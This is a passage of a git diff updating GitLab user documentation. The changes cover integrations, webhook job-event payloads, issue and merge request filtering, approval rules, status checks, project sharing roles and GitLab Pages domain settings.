+Because this integration works out of the box with fastlane adding the code below to an app's `fastlane/Fastfile` activates the integration, and create the connection for any interactions with the Apple App Store uploading a Test Flight or public App Store release.
+
+```ruby
+app_store_connect_api_key(
+ is_key_content_base64: true
+)
+```
diff --git a/doc/user/project/integrations/harbor.md b/doc/user/project/integrations/harbor.md
index 259b91fc1c7..d75f10e0e11 100644
--- a/doc/user/project/integrations/harbor.md
+++ b/doc/user/project/integrations/harbor.md
@@ -19,7 +19,7 @@ This integration can help you if you need GitLab CI/CD and a container image rep
In the Harbor instance, ensure that:
- The project to be integrated has been created.
-- The signed-in user has permission to pull, push, and edit images in the Harbor project.
+- The authenticated user has permission to pull, push, and edit images in the Harbor project.
## Configure GitLab
diff --git a/doc/user/project/integrations/prometheus.md b/doc/user/project/integrations/prometheus.md
index 9bafa9734e2..dfa5a4593d8 100644
--- a/doc/user/project/integrations/prometheus.md
+++ b/doc/user/project/integrations/prometheus.md
@@ -107,7 +107,7 @@ can use only one:
[Cluster precedence](../../instance/clusters/index.md#cluster-precedence).
- If you have managed Prometheus applications installed on multiple Kubernetes
clusters at the **same** level, the Prometheus application of a cluster with a
- matching [environment scope](../../../ci/environments/index.md#scope-environments-with-specs) is used.
+ matching [environment scope](../../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) is used.
## Determining the performance impact of a merge
diff --git a/doc/user/project/integrations/slack.md b/doc/user/project/integrations/slack.md
index 2ded5799c23..5c1006b9044 100644
--- a/doc/user/project/integrations/slack.md
+++ b/doc/user/project/integrations/slack.md
@@ -59,6 +59,7 @@ The following triggers are available for Slack notifications:
|--------------------------------------------------------------------------|------------------------------------------------------|
| **Push** | A push to the repository. |
| **Issue** | An issue is created, updated, or closed. |
+| **Incident** | An incident is created, updated, or closed. |
| **Confidential issue** | A confidential issue is created, updated, or closed. |
| **Merge request** | A merge request is created, updated, or merged. |
| **Note** | A comment is added. |
diff --git a/doc/user/project/integrations/webhook_events.md b/doc/user/project/integrations/webhook_events.md
index 63282d6ec6e..0f462ad41b0 100644
--- a/doc/user/project/integrations/webhook_events.md
+++ b/doc/user/project/integrations/webhook_events.md
@@ -1019,7 +1019,7 @@ Payload example:
```
NOTE:
-The fields `assignee_id`, `state`, `merge_status` are [deprecated](../../../api/merge_requests.md).
+The fields `assignee_id` and `merge_status` are [deprecated](../../../api/merge_requests.md).
## Wiki page events
@@ -1362,15 +1362,6 @@ Payload example:
## Job events
-- Number of retries [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/382046) in GitLab 15.6 [with a flag](../../../administration/feature_flags.md)
- named `job_webhook_retries_count`. Disabled by default.
-
-FLAG:
-On self-managed GitLab, by default this feature is not available. To make it available,
-ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named
-`job_webhook_retries_count`.
-On GitLab.com, this feature is not available.
-
Job events are triggered when the status of a job changes.
The `commit.id` in the payload is the ID of the pipeline, not the ID of the commit.
@@ -1403,7 +1394,7 @@ Payload example:
"build_duration": null,
"build_allow_failure": false,
"build_failure_reason": "script_failure",
- "retries_count": 2, // 2 indicates this is the 2nd retry of this job
+ "retries_count": 2, // the second retry of this job
"pipeline_id": 2366,
"project_id": 380,
"project_name": "gitlab-org/gitlab-test",
@@ -1415,6 +1406,7 @@ Payload example:
},
"commit": {
"id": 2366,
+ "name": "Build pipeline",
"sha": "2293ada6b400935a1378653304eaf6221e0fdb8f",
"message": "test\n",
"author_name": "User",
@@ -1447,6 +1439,26 @@ Payload example:
}
```
+### Number of retries
+
+> `retries_count` [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/382046) in GitLab 15.6 [with a flag](../../../administration/feature_flags.md) named `job_webhook_retries_count`. Disabled by default.
+
+FLAG:
+On self-managed GitLab, by default this feature is not available. To make it available,
+ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named
+`job_webhook_retries_count`.
+On GitLab.com, this feature is not available.
+
+`retries_count` is an integer that indicates if the job is a retry. `0` means that the job
+has not been retried. `1` means that it's the first retry.
+
+### Pipeline name
+
+> `commit.name` [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107963) in GitLab 15.8.
+
+You can set custom names for pipelines with [`workflow:name`](../../../ci/yaml/index.md#workflowname).
+If the pipeline has a name, that name is the value of `commit.name`.
+
## Deployment events
Deployment events are triggered when a deployment:
diff --git a/doc/user/project/issues/managing_issues.md b/doc/user/project/issues/managing_issues.md
index ea90dda88f6..a5399b70c8f 100644
--- a/doc/user/project/issues/managing_issues.md
+++ b/doc/user/project/issues/managing_issues.md
@@ -351,6 +351,13 @@ Alternatively, you can use the `/promote` [quick action](../quick_actions.md#iss
Read more about [promoting an issues to epics](../../group/epics/manage_epics.md#promote-an-issue-to-an-epic).
+## Promote an issue to an incident
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/296787) in GitLab 14.5.
+> - Quick actions to set issue type as incident upon creation [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/376760) in GitLab 15.8.
+
+You can use the `/promote_to_incident` [quick action](../quick_actions.md) to promote the issue to an [incident](../../../operations/incident_management/incidents.md).
+
## Add an issue to an iteration **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216158) in GitLab 13.2.
@@ -404,7 +411,8 @@ GitLab displays the results on-screen, but you can also
### Filter with the OR operator
-> OR filtering for author and assignee was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23532) in GitLab 15.6 [with a flag](../../../administration/feature_flags.md) named `or_issuable_queries`. Disabled by default.
+> - OR filtering for author and assignee was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23532) in GitLab 15.6 [with a flag](../../../administration/feature_flags.md) named `or_issuable_queries`. Disabled by default.
+> - OR filtering for label was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23532) in GitLab 15.8 [with a flag](../../../administration/feature_flags.md) named `or_issuable_queries`. Disabled by default.
FLAG:
On self-managed GitLab, by default this feature is not available.
@@ -412,7 +420,11 @@ To make it available, ask an administrator to [enable the feature flag](../../..
The feature is not ready for production use.
When this feature is enabled, you can use the OR operator (**is one of: `||`**)
-when you [filter the list of issues](#filter-the-list-of-issues).
+when you [filter the list of issues](#filter-the-list-of-issues) by:
+
+- Assignees
+- Author
+- Labels
`is one of` represents an inclusive OR. For example, if you filter by `Assignee is one of Sidney Jones` and
`Assignee is one of Zhang Wei`, GitLab shows issues where either `Sidney`, `Zhang`, or both of them are assignees.
diff --git a/doc/user/project/labels.md b/doc/user/project/labels.md
index bb72ab0052d..f9e3f1b9225 100644
--- a/doc/user/project/labels.md
+++ b/doc/user/project/labels.md
@@ -390,7 +390,7 @@ For a video explanation, see:
See the video: <a href="https://www.youtube.com/watch?v=4BCBby6du3c">Use scoped labels for custom fields and custom workflows</a>.
</div>
<figure class="video-container">
- <iframe src="https://www.youtube.com/embed/4BCBby6du3c" frameborder="0" allowfullscreen="true"> </iframe>
+ <iframe src="https://www.youtube-nocookie.com/embed/4BCBby6du3c" frameborder="0" allowfullscreen> </iframe>
</figure>
### Nested scopes
diff --git a/doc/user/project/members/index.md b/doc/user/project/members/index.md
index a7627f12657..0b0184db14c 100644
--- a/doc/user/project/members/index.md
+++ b/doc/user/project/members/index.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
@@ -62,6 +62,12 @@ To add a user to a project:
1. Enter an email address and select a [role](../../permissions.md).
1. Optional. Select an **Access expiration date**.
From that date onward, the user can no longer access the project.
+
+ WARNING:
+ If you give a member the Maintainer role and select an expiration date, that member
+ has full permissions for the time they are in the role. This includes the ability
+ to extend their own time in the Maintainer role.
+
1. Select **Invite**.
If the user has a GitLab account, they are added to the members list.
@@ -97,6 +103,9 @@ Each user's access is based on:
- The role they're assigned in the group.
- The maximum role you choose when you invite the group.
+If a user has a group role with fewer permissions than the maximum project role, the user keeps the permissions of their group role.
+For example, if you add a user with the Guest role to a project with a maximum role of Maintainer, the user has only the permissions of the Guest role.
+
Prerequisites:
- You must have the Maintainer or Owner role.
diff --git a/doc/user/project/members/share_project_with_groups.md b/doc/user/project/members/share_project_with_groups.md
index b9887212be0..d1ee42f723d 100644
--- a/doc/user/project/members/share_project_with_groups.md
+++ b/doc/user/project/members/share_project_with_groups.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
@@ -16,8 +16,16 @@ with `Group 1`, so that both members of `Group 1` and `Group 2` have access to t
When a project is shared with a group:
- All group members, including members of subgroups or projects that belong to the group,
-are assigned the same role in the project.
-Each member's role is displayed in **Project information > Members > Max role**.
+ are assigned the same role in the project.
+ Each member's role is displayed in **Project information > Members**, in the **Max role** column.
+ When sharing a project with a group, a user's assigned **Max role** is the lowest
+ of either:
+
+ - The role assigned in the group membership.
+ - The maximum role selected when sharing the project with the group.
+
+ Assigning a higher maximum role to the group doesn't give group users higher roles than
+ the roles already assigned to them in the group.
- The group is listed in the **Groups** tab.
- The project is listed on the group dashboard.
@@ -28,7 +36,7 @@ Be aware of the restrictions that apply when you share projects with:
## Share projects with groups with a more restrictive visibility level
-You can share projects only down the group's organization structure.
+You can share projects only down the group's organization structure.
This means you can share a project with a group that has a more restrictive
[visibility level](../../public_access.md#project-and-group-visibility) than the project,
but not with a group that has a less restrictive visibility level.
@@ -78,8 +86,4 @@ To share a project with a group:
## Prevent project sharing
-You can prevent members of a group from
-[sharing a project with another group](../members/share_project_with_groups.md).
-This restriction allows for tighter control over project access.
-
For more information, see [Prevent a project from being shared with groups](../../group/access_and_permissions.md#prevent-a-project-from-being-shared-with-groups).
diff --git a/doc/user/project/merge_requests/approvals/rules.md b/doc/user/project/merge_requests/approvals/rules.md
index 5f81db10cf4..51f7254bfda 100644
--- a/doc/user/project/merge_requests/approvals/rules.md
+++ b/doc/user/project/merge_requests/approvals/rules.md
@@ -36,6 +36,10 @@ To add a merge request approval rule:
1. In the **Merge request approvals** section, scroll to **Approval rules**.
1. Select **Add approval rule**.
1. Add a human-readable **Rule name**.
+1. Select a **Target branch**:
+ - To apply the rule to all branches, select **All branches**.
+ - To apply the rule to all protected branches, select **All protected branches** (GitLab 15.3 and later).
+ - To apply the rule to a specific branch, select it from the list.
1. Set the number of required approvals in **Approvals required**. A value of `0` makes
[the rule optional](#configure-optional-approval-rules), and any number greater than `0`
creates a required rule.
@@ -221,8 +225,7 @@ appreciated, but not required. To make an approval rule optional:
## Approvals for protected branches
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/460) in GitLab 12.8.
-> - **All protected branches** target branch option [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/360930) in GitLab 15.3.
+> **All protected branches** target branch option [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/360930) in GitLab 15.3.
Approval rules are often relevant only to specific branches, like your
[default branch](../../repository/branches/default.md). To configure an
@@ -231,8 +234,7 @@ approval rule for certain branches:
1. [Create an approval rule](#add-an-approval-rule).
1. Go to your project and select **Settings > Merge requests**.
1. In the **Merge request approvals** section, scroll to **Approval rules**.
-1. Select a **Target branch**:
- - To apply the rule to all branches, select **All branches**.
+1. For **Target branch**:
- To apply the rule to all protected branches, select **All protected branches** (GitLab 15.3 and later).
- To apply the rule to a specific branch, select it from the list.
diff --git a/doc/user/project/merge_requests/authorization_for_merge_requests.md b/doc/user/project/merge_requests/authorization_for_merge_requests.md
index 52944ee3143..280ad20712b 100644
--- a/doc/user/project/merge_requests/authorization_for_merge_requests.md
+++ b/doc/user/project/merge_requests/authorization_for_merge_requests.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: concepts
---
-# Authorization for Merge requests **(FREE)**
+# Merge request workflows **(FREE)**
There are two main ways to have a merge request flow with GitLab:
diff --git a/doc/user/project/merge_requests/changes.md b/doc/user/project/merge_requests/changes.md
index f6e02dc0dfe..07ee2ef90c4 100644
--- a/doc/user/project/merge_requests/changes.md
+++ b/doc/user/project/merge_requests/changes.md
@@ -140,6 +140,7 @@ Files marked as viewed are not shown to you again unless either:
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232484) in GitLab 13.5 [with a flag](../../../administration/feature_flags.md) named `display_merge_conflicts_in_diff`. Disabled by default.
> - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/276918) in GitLab 15.7.
+> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/276918) in GitLab 15.8. Feature flag `display_merge_conflicts_in_diff` removed.
To avoid displaying the changes that are already on target branch in the diff,
we compare the merge request's source branch with HEAD of the target branch.
diff --git a/doc/user/project/merge_requests/creating_merge_requests.md b/doc/user/project/merge_requests/creating_merge_requests.md
index eae4db2d4f7..542edc11c44 100644
--- a/doc/user/project/merge_requests/creating_merge_requests.md
+++ b/doc/user/project/merge_requests/creating_merge_requests.md
@@ -29,7 +29,54 @@ be associated with a given target branch at a time.
## From an issue
-You can [create a merge request from an issue](../repository/web_editor.md#create-a-new-branch-from-an-issue).
+> The **Create merge request** button [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/349566) to open the merge request creation form in GitLab 14.8.
+
+If your development workflow requires an issue for every merge
+request, you can create a branch directly from the issue to speed the process up.
+The new branch, and later its merge request, are marked as related to this issue.
+After merging the merge request, the issue is closed automatically, unless [automatic issue closing is disabled](../issues/managing_issues.md#disable-automatic-issue-closing).
+You can see a **Create merge request** dropdown below the issue description.
+
+NOTE:
+In GitLab 14.8 and later, selecting **Create merge request**
+[redirects to the merge request creation form](https://gitlab.com/gitlab-org/gitlab/-/issues/349566)
+instead of immediately creating the merge request.
+
+The **Create merge request** button doesn't display if:
+
+- A branch with the same name already exists.
+- A merge request already exists for this branch.
+- Your project has an active fork relationship.
+- Your project is private and the issue is confidential.
+
+To make this button appear, one possible workaround is to
+[remove your project's fork relationship](../settings/index.md#remove-a-fork-relationship).
+After removal, the fork relationship cannot be restored. This project can no longer
+be able to receive or send merge requests to the source project, or other forks.
+
+This dropdown contains the options **Create merge request and branch** and **Create branch**.
+
+After selecting one of these options, a new branch or branch and merge request
+is created based on your project's [default branch](../repository/branches/default.md).
+The branch name is based on an internal ID, and the issue title. The example
+screenshot above creates a branch named
+`2-make-static-site-auto-deploy-and-serve`.
+
+When you select the **Create branch** button in an empty
+repository project, GitLab performs these actions:
+
+- Creates a default branch.
+- Commits a blank `README.md` file to it.
+- Creates and redirects you to a new branch based on the issue title.
+- _If your project is [configured with a deployment service](../integrations/index.md) like Kubernetes,_
+ GitLab prompts you to set up [auto deploy](../../../topics/autodevops/stages.md#auto-deploy)
+ by helping you create a `.gitlab-ci.yml` file.
+
+After the branch is created, you can edit files in the repository to fix
+the issue. When a merge request is created based on the newly-created branch,
+the description field displays the [issue closing pattern](../issues/managing_issues.md#closing-issues-automatically)
+`Closes #ID`, where `ID` is the ID of the issue. This closes the issue when the
+merge request is merged.
## When you add, edit, or upload a file
diff --git a/doc/user/project/merge_requests/dependencies.md b/doc/user/project/merge_requests/dependencies.md
index d0b0ead6b87..231c1dda5b7 100644
--- a/doc/user/project/merge_requests/dependencies.md
+++ b/doc/user/project/merge_requests/dependencies.md
@@ -145,6 +145,11 @@ information, read [issue #12549](https://gitlab.com/gitlab-org/gitlab/-/issues/1
### Complex merge order dependencies are unsupported
+If you attempt to create an indirect, nested dependency, GitLab shows one of these error messages:
+
+- Dependencies failed to save: Blocked merge request cannot block others
+- Dependencies failed to save: Blocking merge request cannot itself be blocked
+
GitLab supports direct dependencies between merge requests, but does not support
[indirect (nested) dependencies](https://gitlab.com/gitlab-org/gitlab/-/issues/11393).
diff --git a/doc/user/project/merge_requests/getting_started.md b/doc/user/project/merge_requests/getting_started.md
index 427ab9606e8..58750cdf5bc 100644
--- a/doc/user/project/merge_requests/getting_started.md
+++ b/doc/user/project/merge_requests/getting_started.md
@@ -42,10 +42,6 @@ before concluding your work and merging the merge request.
You can watch our [GitLab Flow video](https://www.youtube.com/watch?v=InKNIvky2KE) for
a quick overview of working with merge requests.
-## How to create a merge request
-
-Learn the various ways to [create a merge request](creating_merge_requests.md).
-
## What you can do with merge requests
When you start a new merge request, you can immediately include the following
@@ -112,7 +108,7 @@ To create a merge request to close an issue when it's merged, you can either:
choose any name, and GitLab verifies that it's not already in use. The merge request
inherits the milestone and labels of the issue, and is set to automatically
close the issue when it is merged.
- - Create a [new branch](../repository/web_editor.md#create-a-new-branch-from-an-issue)
+ - Create a [new branch](creating_merge_requests.md#from-an-issue)
only, with its name starting with the issue number.
If the issue is [confidential](../issues/confidential_issues.md),
diff --git a/doc/user/project/merge_requests/img/filter_approved_by_merge_requests_v14_6.png b/doc/user/project/merge_requests/img/filter_approved_by_merge_requests_v14_6.png
deleted file mode 100644
index 8d47fdc2652..00000000000
--- a/doc/user/project/merge_requests/img/filter_approved_by_merge_requests_v14_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/merge_requests/img/filter_approver_merge_requests_v14_6.png b/doc/user/project/merge_requests/img/filter_approver_merge_requests_v14_6.png
deleted file mode 100644
index 58950031378..00000000000
--- a/doc/user/project/merge_requests/img/filter_approver_merge_requests_v14_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/merge_requests/index.md b/doc/user/project/merge_requests/index.md
index 8309b04758a..21651fd645c 100644
--- a/doc/user/project/merge_requests/index.md
+++ b/doc/user/project/merge_requests/index.md
@@ -19,6 +19,10 @@ Merge requests include:
Read more about [how to get started](getting_started.md).
+## Create a merge request
+
+Learn the various ways to [create a merge request](creating_merge_requests.md).
+
## View merge requests
You can view merge requests for your project, group, or yourself.
@@ -63,56 +67,36 @@ or:
## Filter the list of merge requests
+> - Filtering by `approved-by` [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30335) in GitLab 13.0.
+> - Filtering by `reviewer` [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47605) in GitLab 13.7.
+> - Filtering by potential approvers was moved to GitLab Premium in 13.9.
+> - Filtering by `approved-by` moved to GitLab Premium in 13.9.
+
To filter the list of merge requests:
1. Above the list of merge requests, select **Search or filter results...**.
-1. In the dropdown list that appears, select the attribute you wish to filter by.
+1. From the dropdown list, select the attribute you wish to filter by. Some examples:
+ - [**By environment or deployment date**](#filter-merge-requests-by-environment-or-deployment-date).
+ - **ID**: Enter filter `#30` to return only merge request 30.
+ - User filters: Type (or select from the dropdown list) any of these filters to display a list of users:
+ - **Approved-By**, for merge requests already approved by a user. **(PREMIUM)**.
+ - **Approver**, for merge requests that this user is eligible to approve.
+ (For more information, read about [Code owners](../code_owners.md)). **(PREMIUM)**
+ - **Reviewer**, for merge requests reviewed by this user.
1. Select or type the operator to use for filtering the attribute. The following operators are
available:
- `=`: Is
- - `!=`: Is not ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18059) in GitLab 12.7)
+ - `!=`: Is not
1. Enter the text to filter the attribute by.
You can filter some attributes by **None** or **Any**.
1. Repeat this process to filter by multiple attributes. Multiple attributes are joined by a logical
`AND`.
+1. Select a **Sort direction**, either **{sort-lowest}** for descending order,
+ or **{sort-highest}** for ascending order.
GitLab displays the results on-screen, but you can also
[retrieve them as an RSS feed](../../search/index.md#retrieve-search-results-as-feed).
-### Filter merge requests by ID
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/39908) in GitLab 12.1.
-
-You can filter the **Merge Request** list to find merge requests by their ID.
-
-For example, enter filter `#30` to return only merge request 30.
-
-### Filter merge requests by approvers **(PREMIUM)**
-
-> Moved to GitLab Premium in 13.9.
-
-To filter merge requests by an individual eligible approver ([Code owner](../code_owners.md)), you can type (or select from
-the dropdown list) **Approver** and select the user.
-
-![Filter MRs by an approver](img/filter_approver_merge_requests_v14_6.png)
-
-### Filter merge requests by "approved by" **(PREMIUM)**
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30335) in GitLab 13.0.
-> - Moved to GitLab Premium in 13.9.
-
-To filter merge requests already approved by a specific individual, you can type (or select from
-the dropdown list) **Approved-By** and select the user.
-
-![Filter MRs by approved by](img/filter_approved_by_merge_requests_v14_6.png)
-
-### Filter merge requests by reviewer
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47605) in GitLab 13.7.
-
-To filter review requested merge requests for a specific individual, you can type (or select from
-the dropdown list) **Reviewer** and select the user.
-
### Filter merge requests by environment or deployment date
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44041) in GitLab 13.6.
diff --git a/doc/user/project/merge_requests/methods/index.md b/doc/user/project/merge_requests/methods/index.md
index 249a98f1779..b1d07a740bf 100644
--- a/doc/user/project/merge_requests/methods/index.md
+++ b/doc/user/project/merge_requests/methods/index.md
@@ -180,9 +180,9 @@ When a fast-forward merge is not possible, the user is given the option to rebas
[Rebasing in (semi-)linear merge methods](#rebasing-in-semi-linear-merge-methods).
NOTE:
-Projects using the fast-forward merge strategy can't filter merge requests
-[by deployment date](../index.md#filter-merge-requests-by-environment-or-deployment-date),
-because no merge commit is created.
+Projects that use the fast-forward merge strategy can't
+[filter merge requests](../index.md#filter-the-list-of-merge-requests)
+by deployment date, because no merge commit is created.
When you visit the merge request page with `Fast-forward merge`
method selected, you can accept it **only if a fast-forward merge is possible**.
diff --git a/doc/user/project/merge_requests/status_checks.md b/doc/user/project/merge_requests/status_checks.md
index 74c3b3e24b6..2894b71e7e6 100644
--- a/doc/user/project/merge_requests/status_checks.md
+++ b/doc/user/project/merge_requests/status_checks.md
@@ -31,15 +31,16 @@ see the [external status checks epic](https://gitlab.com/groups/gitlab-org/-/epi
## Block merges of merge requests unless all status checks have passed
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/369859) in GitLab 15.5 [with a flag](../../../administration/feature_flags.md) named `only_allow_merge_if_all_status_checks_passed`. Disabled by default.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/369859) in GitLab 15.5 [with a flag](../../../administration/feature_flags.md) named `only_allow_merge_if_all_status_checks_passed`. Disabled by default.
+> - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/372340) in GitLab 15.8.
FLAG:
On self-managed GitLab, by default this feature is not available. To make it available per project or for your entire instance, ask an administrator to
-[enable the feature flag](../../../administration/feature_flags.md) named `only_allow_merge_if_all_status_checks_passed`. On GitLab.com, this feature is not available.
+[enable the feature flag](../../../administration/feature_flags.md) named `only_allow_merge_if_all_status_checks_passed`. On GitLab.com, this feature is available but can be configured by GitLab.com administrators only.
By default, merge requests in projects can be merged even if external status checks fail. To block the merging of merge requests when external checks fail, enable this feature
using the [project API](../../../api/projects.md#edit-project). You must also [enable the feature flag](../../../administration/feature_flags.md) named
-`only_allow_merge_if_all_status_checks_passed`.
+`only_allow_merge_if_all_status_checks_passed` on self-managed GitLab.
## Lifecycle
@@ -151,12 +152,18 @@ the status check and it **will not** be recoverable.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/327634) in GitLab 14.1.
> - UI [updated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/91504) in GitLab 15.2.
+> - Ability to retry failed external status checks [added](https://gitlab.com/gitlab-org/gitlab/-/issues/383200) in GitLab 15.8.
The status checks widget displays in merge requests and displays the following statuses:
- **pending** (**{status-neutral}**), while GitLab waits for a response from an external status check.
- **success** (**{status-success}**) or **failed** (**{status-failed}**), when GitLab receives a response from an external status check.
+To retry a failed status check:
+
+1. Expand the merge request widget to show the list of external status checks.
+1. Select **Retry** (**{retry}**) on the failed external status check row. The status check is put back into a pending state.
+
An organization might have a policy that does not allow merging merge requests if
external status checks do not pass. However, the details in the widget are for informational
purposes only. GitLab does not prevent merging of merge requests that fail status checks.
diff --git a/doc/user/project/merge_requests/versions.md b/doc/user/project/merge_requests/versions.md
index a864a9849b0..120e300da5e 100644
--- a/doc/user/project/merge_requests/versions.md
+++ b/doc/user/project/merge_requests/versions.md
@@ -64,7 +64,7 @@ branches. The new mode is available from the comparison target drop down
by selecting **main (HEAD)**. In GitLab 13.9, it
[replaced](https://gitlab.com/gitlab-org/gitlab/-/issues/198458) the
old default comparison. For technical details, additional information is available in the
-[developer documentation](../../../development/diffs.md#merge-request-diffs-against-the-head-of-the-target-branch).
+[developer documentation](../../../development/merge_request_concepts/diffs/index.md#merge-request-diffs-against-the-head-of-the-target-branch).
![Merge request versions compare HEAD](img/versions_compare_head_v12_10.png)
diff --git a/doc/user/project/organize_work_with_projects.md b/doc/user/project/organize_work_with_projects.md
new file mode 100644
index 00000000000..0ff354562fd
--- /dev/null
+++ b/doc/user/project/organize_work_with_projects.md
@@ -0,0 +1,33 @@
+---
+stage: Manage
+group: Organization
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+---
+
+# Organize work with projects **(FREE)**
+
+In GitLab, you can create projects to host
+your codebase. You can also use projects to track issues, plan work,
+collaborate on code, and continuously build, test, and use
+built-in CI/CD to deploy your app.
+
+Projects can be available [publicly, internally, or privately](../public_access.md).
+GitLab does not limit the number of private projects you can create.
+
+- [Manage projects](working_with_projects.md)
+- [Project visibility](../public_access.md)
+- [Project settings](../project/settings/index.md)
+- [Project access tokens](../project/settings/project_access_tokens.md)
+- [Share projects](../project/members/share_project_with_groups.md)
+- [Reserved project and group names](../../user/reserved_names.md)
+- [Search](../../user/search/index.md)
+- [Badges](../../user/project/badges.md)
+- [Code intelligence](../../user/project/code_intelligence.md)
+- [Compliance](../../user/compliance/index.md)
+- [Description templates](../../user/project/description_templates.md)
+- [Deploy keys](../../user/project/deploy_keys/index.md)
+- [Deploy tokens](../../user/project/deploy_tokens/index.md)
+- [File finder](../../user/project/repository/file_finder.md)
+- [GitLab Pages](../../user/project/pages/index.md)
+- [Migrating projects](../../user/project/import/index.md)
+- [Migrate projects by using file exports](../../user/project/settings/import_export.md)
diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md
index dc23540bd1b..2f814bb0e65 100644
--- a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md
+++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md
@@ -165,7 +165,8 @@ If you're using Cloudflare, check
Once you have added all the DNS records:
-1. Go back at your project's **Settings > Pages**.
+1. Go back at your project's **Settings > Pages** (Note: this may also be
+ located at **Deployments > Pages**, [more information](../index.md#menu-position-test)).
1. Locate your domain name and select **Details**.
1. Select the **Retry verification** button to activate your new domain.
@@ -287,10 +288,15 @@ meet these requirements.
#### Steps
- To add the certificate at the time you add a new domain, go to your
- project's **Settings > Pages > New Domain**, add the domain name and the certificate.
+ project's **Settings > Pages > New Domain** (Note: this may also be
+ located at **Deployments > Pages**, [more information](../index.md#menu-position-test)), add the domain name and the
+ certificate.
- To add the certificate to a domain previously added, go to your
project's **Settings > Pages**, locate your domain name, select **Details** and **Edit** to add the certificate.
+NOTE:
+The Pages menu entry may also be located at **Deployments > Pages**, [more information](../index.md#menu-position-test)
+
1. Add the PEM certificate to its corresponding field.
1. If your certificate is missing its intermediate, copy
and paste the root certificate (usually available from your CA website)
@@ -313,7 +319,8 @@ domain (as long as you've set a valid certificate for it).
To enable this setting:
-1. Navigate to your project's **Settings > Pages**.
+1. Navigate to your project's **Settings > Pages** (Note: this may also be
+ located at **Deployments > Pages**, [more information](../index.md#menu-position-test)).
1. Tick the checkbox **Force HTTPS (requires valid certificates)**.
If you use Cloudflare CDN in front of GitLab Pages, make sure to set the SSL connection setting to
diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md
index e9e6e5a9a3c..770fb4f450a 100644
--- a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md
+++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md
@@ -42,7 +42,8 @@ For **self-managed** GitLab instances, make sure your administrator has
Once you've met the requirements, enable Let's Encrypt integration:
-1. Navigate to your project's **Settings > Pages**.
+1. Navigate to your project's **Settings > Pages** (Note: this may also be
+ located at **Deployments > Pages**, [more information](../index.md#menu-position-test)).
1. Find your domain and select **Details**.
1. Select **Edit** in the top-right corner.
1. Enable Let's Encrypt integration by switching **Automatic certificate management using Let's Encrypt**:
@@ -69,7 +70,8 @@ associated Pages domain. GitLab also renews it automatically.
If you get an error **Something went wrong while obtaining the Let's Encrypt certificate**, first, make sure that your pages site is set to "Everyone" in your project's **Settings > General > Visibility**. This allows the Let's Encrypt Servers reach your pages site. Once this is confirmed, you can try obtaining the certificate again by following these steps:
-1. Go to your project's **Settings > Pages**.
+1. Go to your project's **Settings > Pages** (Note: this may also be
+ located at **Deployments > Pages**, [more information](../index.md#menu-position-test)).
1. Select **Edit** on your domain.
1. Select **Retry**.
1. If you're still seeing the same error:
@@ -83,7 +85,8 @@ If you get an error **Something went wrong while obtaining the Let's Encrypt cer
If you've enabled Let's Encrypt integration, but a certificate is absent after an hour and you see the message, "GitLab is obtaining a Let's Encrypt SSL certificate for this domain. This process can take some time. Please try again later.", try to remove and add the domain for GitLab Pages again by following these steps:
-1. Go to your project's **Settings > Pages**.
+1. Go to your project's **Settings > Pages** (Note: this may also be
+ located at **Deployments > Pages**, [more information](../index.md#menu-position-test)).
1. Select **Remove** on your domain.
1. [Add the domain again and verify it](index.md#1-add-a-custom-domain).
